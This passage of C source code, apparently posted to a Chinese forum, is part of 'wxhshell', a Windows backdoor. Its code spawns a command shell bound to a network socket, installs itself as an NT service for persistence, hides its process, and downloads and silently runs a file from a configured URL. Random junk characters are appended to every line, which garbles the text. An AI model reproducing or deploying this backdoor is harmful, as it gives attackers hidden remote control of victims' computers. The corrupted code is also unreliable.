  case '?': { $3sS&i<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tw]RH(g+#  
    break; \z<B=RT\  
  } O=#FpPHrdw  
  // 安装 u><gmp&  
  case 'i': { H\2+cAFN#  
    if(Install()) B8_ w3;x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tqE LF  
    else ]}cai1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !c\d(u  
    break; 9 I> 3p4]  
    } F t%f"Z  
  // 卸载 ZgLO[Bj  
  case 'r': { +n]U3b  
    if(Uninstall()) {b>tX)Tep  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z xLjh  
    else a8-2:8Su  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5DfAL;o!  
    break; :QsGwhB  
    } mk1;22o{TX  
  // 显示 wxhshell 所在路径 UcDJ%vI  
  case 'p': { z_eP  
    char svExeFile[MAX_PATH]; qu8i Jq  
    strcpy(svExeFile,"\n\r"); ]?xF'3#  
      strcat(svExeFile,ExeFile); . x~tEe  
        send(wsh,svExeFile,strlen(svExeFile),0); O9]j$,i  
    break; Z bxd,|<|  
    } rB}UFS)  
  // 重启 gqJ&Q t#f  
  case 'b': { @dcT8 YC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r^ &{0c&o  
    if(Boot(REBOOT)) Pv`yOx&nE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &~U8S^os  
    else { l2=.;7 IV  
    closesocket(wsh); Xd66"k\b+  
    ExitThread(0); Vf*!m~]Vqi  
    }  "=H7p3  
    break; F$ x@ ]  
    } } O9q$-8!  
  // 关机 9'Y~! vY  
  case 'd': { g||{Qmr=1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 31wact^  
    if(Boot(SHUTDOWN)) {Zjnf6d]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C+,;hj  
    else { R* E/E  
    closesocket(wsh); ,Vt7Kiu  
    ExitThread(0); 0kpRvdEr-  
    } UMo=bs  
    break; XY1NTo. =  
    } oGly|L>  
  // 获取shell Q<d\K(<3?:  
  case 's': { s7SW4ff1  
    CmdShell(wsh); WhSQ>h!@s  
    closesocket(wsh); HLAWx/c,j"  
    ExitThread(0); jio1 #&  
    break; -Uq I=#  
  } sZPPS&KoP3  
  // 退出 S,lJ&Rsu  
  case 'x': { q>%KIBh(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 23qTmh  
    CloseIt(wsh); )}=`Gx5+  
    break; g[44YrRD  
    } L"1UUOKy  
  // 离开 *ZKI02M  
  case 'q': { $=4T# W=m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nu}$wLM  
    closesocket(wsh); 5 r"`c  
    WSACleanup(); 0MF[e3)a  
    exit(1); .Hl]xI$;+  
    break; -B9C2  
        } mgL~ $  
  } #c'yAa  
  } F5gL-\6  
?7@B$OlU  
  // 提示信息 j=r`[B m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o  <0f  
} 8V;@yzI ha  
  } {tV)+T  
%8>s:YG  
  return; dfiA- h  
} A$WE:<^  
{^Vkxf]  
// shell模块句柄 BP,"vq$'+  
int CmdShell(SOCKET sock) 2Auhv!xV  
{ gtyo~f  
STARTUPINFO si; MmI4J$F  
ZeroMemory(&si,sizeof(si)); rBkLwJ]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pB&3JmgR$)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Nlx7"_R"Q  
PROCESS_INFORMATION ProcessInfo; _:Tjq)  
char cmdline[]="cmd"; M3odyO(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BZ">N  
  return 0; @R_a'v-  
} sk\U[#ohH  
1%]| O  
// 自身启动模式 1LZ?!Lw  
int StartFromService(void) (#BkL:dg  
{ *j?tcxq  
typedef struct ;RflzY|D  
{ :`2<SF^0O  
  DWORD ExitStatus; A)kx,,[  
  DWORD PebBaseAddress; ]U!vZY@\  
  DWORD AffinityMask; f'0n^mSP  
  DWORD BasePriority; X,IjM&o"Y  
  ULONG UniqueProcessId; sHyhR:  
  ULONG InheritedFromUniqueProcessId; ^rfY9qMJr8  
}   PROCESS_BASIC_INFORMATION; [!]a' T#x  
L$cNxz0$  
PROCNTQSIP NtQueryInformationProcess; \6-x~%xK  
}tF/ca:XPQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -GD_xk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "yCCei,hA?  
NEa :  
  HANDLE             hProcess; =dHM)OXD"  
  PROCESS_BASIC_INFORMATION pbi; d=o|)kV  
jA$g0>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s:7^R-"  
  if(NULL == hInst ) return 0; ,a eQXI#@  
8;ke,x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S(.AE@U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  iE=Yh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =<e|<EwSZ  
(wEaa'XL  
  if (!NtQueryInformationProcess) return 0; L@HPU;<  
l_hM,]T0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y;8Ys&/t  
  if(!hProcess) return 0; _7'9omq@  
8*!<,k="9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mTz %;+|L  
]|it&4l  
  CloseHandle(hProcess); Tz4,lwuWX7  
uz-,)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +D[|L1{xb  
if(hProcess==NULL) return 0; '$YB -  
<k<K"{  
HMODULE hMod; KtchK pv  
char procName[255]; =dx!R ,Bw  
unsigned long cbNeeded; _Db=I3.HJ  
MP(R2y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); btHN  
eqU2>bI f  
  CloseHandle(hProcess); RbzSQr>a\  
/:3:Ky3  
if(strstr(procName,"services")) return 1; // 以服务启动 0?KXQD  
f]`#BE)V  
  return 0; // 注册表启动  n0F.Um  
} FRd!UqMXY  
(+6 8s9XS7  
// 主模块 C93BK)$}  
int StartWxhshell(LPSTR lpCmdLine) 26PUO$&b.  
{ X1&Ug ^  
  SOCKET wsl; <nlZ?~%}  
BOOL val=TRUE; _BO:~x  
  int port=0; LSQWveZz  
  struct sockaddr_in door; ^u&oS1U  
oW(lQ'"  
  if(wscfg.ws_autoins) Install(); gyj.M`+y  
y=g9 wO  
port=atoi(lpCmdLine); 3I&=1o  
?%% 'GX  
if(port<=0) port=wscfg.ws_port; s:3 altv  
#"-?+F=rk  
  WSADATA data; 5Ds/^fA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0D/u`-  
'KB\K)cD=3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6zh<PETa03  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lffp\v{w  
  door.sin_family = AF_INET; Hy ^E m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;*1bTdB5a  
  door.sin_port = htons(port); uPKq<hBI  
KY34Sc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]E'BFon  
closesocket(wsl); XI:8_F;Q  
return 1; pd{W(M78g  
} K]ob>wPf  
-1iKeyyA  
  if(listen(wsl,2) == INVALID_SOCKET) { hTcy;zLLS  
closesocket(wsl); 9pUvw_9MY  
return 1; fZ1v|  
} '{dduHo  
  Wxhshell(wsl); %E#OUo[y/  
  WSACleanup(); #<0Yx9Jh.  
,Tc3koi  
return 0; 5OeTOI()&5  
Lh3>xZy"-z  
} `Fa49B|`D  
gwhd) .*  
// 以NT服务方式启动 1{l18B`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cKuU#&FaV  
{ kR$>G2$!  
DWORD   status = 0; Wt5x*p-!C  
  DWORD   specificError = 0xfffffff; 0 zm)MSg  
R)i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n X4R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S$J}>a#Ry  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $* 1?"$LN  
  serviceStatus.dwWin32ExitCode     = 0; RapHE; <  
  serviceStatus.dwServiceSpecificExitCode = 0; F}3<q   
  serviceStatus.dwCheckPoint       = 0; !`=ms1%U  
  serviceStatus.dwWaitHint       = 0; e9e%8hL  
n@n608  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #:C;VAAp  
  if (hServiceStatusHandle==0) return; ASmMj;>UM  
<"A|Xv'Q  
status = GetLastError(); ^?PU:eS  
  if (status!=NO_ERROR) X8~dFjhX  
{ *uHL'Pe;m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uo0g51%9  
    serviceStatus.dwCheckPoint       = 0; 'f&o%5]  
    serviceStatus.dwWaitHint       = 0; )Y%>t  
    serviceStatus.dwWin32ExitCode     = status; n,sf$9"  
    serviceStatus.dwServiceSpecificExitCode = specificError; "hwg";Z$n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f!6oW(r-L  
    return; Y.` {]rC  
  } Y<|!)JLB2  
S\fEV"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3sG7G:4  
  serviceStatus.dwCheckPoint       = 0;  aEUC  
  serviceStatus.dwWaitHint       = 0; lOIBX@K E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mr:;Wwd  
} Yhdt"@;..  
1HQh%dZZ  
// 处理NT服务事件,比如:启动、停止 ?#8',:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O@JgVdgf  
{ Y g>W.wA  
switch(fdwControl) &y` MDyXz  
{ ' >(])Oq,  
case SERVICE_CONTROL_STOP: HScj  
  serviceStatus.dwWin32ExitCode = 0; GMmz`O XN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g8^\|  
  serviceStatus.dwCheckPoint   = 0; W>C!V  
  serviceStatus.dwWaitHint     = 0; v*Tliw`-U  
  { hsV+?#I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v|5:;,I  
  } is=sV:j:  
  return; +mRFHZG  
case SERVICE_CONTROL_PAUSE: /H#- \r&r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?^Sk17G  
  break; WrK!]17or  
case SERVICE_CONTROL_CONTINUE: rZRcy9$y>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NGYliP,.6  
  break; 5dffF e  
case SERVICE_CONTROL_INTERROGATE: ]zp5 6U|xa  
  break; 3:Bwf)*  
};  V|=PaO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B$~oZ'4v  
} whb|N2  
~3}Gu^@  
// 标准应用程序主函数 g\MHv#v*k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :}d`$2Dz  
{ J ytY6HF  
<S~_|Y*v  
// 获取操作系统版本 IOA"O9;  
OsIsNt=GetOsVer(); p.KX[I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9hAS#|vK  
mv@cGdxu  
  // 从命令行安装 ?DcRD)X  
  if(strpbrk(lpCmdLine,"iI")) Install(); xe^*\6Y  
x_9<&Aj6  
  // 下载执行文件 *8}Y0V\s  
if(wscfg.ws_downexe) { \)'nxFKqV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `|K,E  
  WinExec(wscfg.ws_filenam,SW_HIDE); b?Wg|D  
} 3L/qU^`  
H5t 9Mg|  
if(!OsIsNt) { (H*-b4]/  
// 如果时win9x,隐藏进程并且设置为注册表启动 "8K>Yu17  
HideProc(); R'a%_sACj>  
StartWxhshell(lpCmdLine); 2m. RM&TdB  
} H <CsB  
else i^P@?  
  if(StartFromService()) Z J(/cD  
  // 以服务方式启动 Z=%+U _,  
  StartServiceCtrlDispatcher(DispatchTable); * d6[k Y  
else xGbr>OqkTX  
  // 普通方式启动 h&4uf x6  
  StartWxhshell(lpCmdLine); a]:tn:q  
kN uDoo]z  
return 0; SsA;T5:6  
}
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只看该作者 1 发表于: 2006-10-10
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